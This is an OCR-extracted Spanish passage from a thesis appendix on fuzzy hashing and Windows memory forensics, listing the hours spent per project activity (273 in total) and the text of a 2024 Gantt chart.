del proyecto. Las barras destacadas en negro representan las fases principales del proyecto, mientras que
las actividades se representan mediante barras con fondo blanco.

Actividad Horas

Orientacion y objetivos 6
Fuzzy hashing y probabilidad de colisién 34
Memoria en Windows y andlisis forense 14
Base de datos 48
Scripts de extraccién y andlisis 22
Andlisis de las colisiones 33
Posibles ataques 20
Redaccién de la memoria 96

Total | 273 |

Tabla A.1: Tabla de horas dedicadas a cada actividad.

37



Investigacion tedrica

Orientacién y objetivos

Fuzzy hashing y probabilidad de colisién
Memoria en Windows y andlisis forense
Caso de estudio - Implementacién
Base de datos

Scripts de extraccién y andlisis

Caso de estudio - Resultados

Andlisis de las colisiones

Posibles ataques

Redaccion de la memoria |-

2024
February March April May June July
LJ
L 1
L]

I

{ |
L 1

Figura A.1: Diagrama de Gantt del tiempo invertido.
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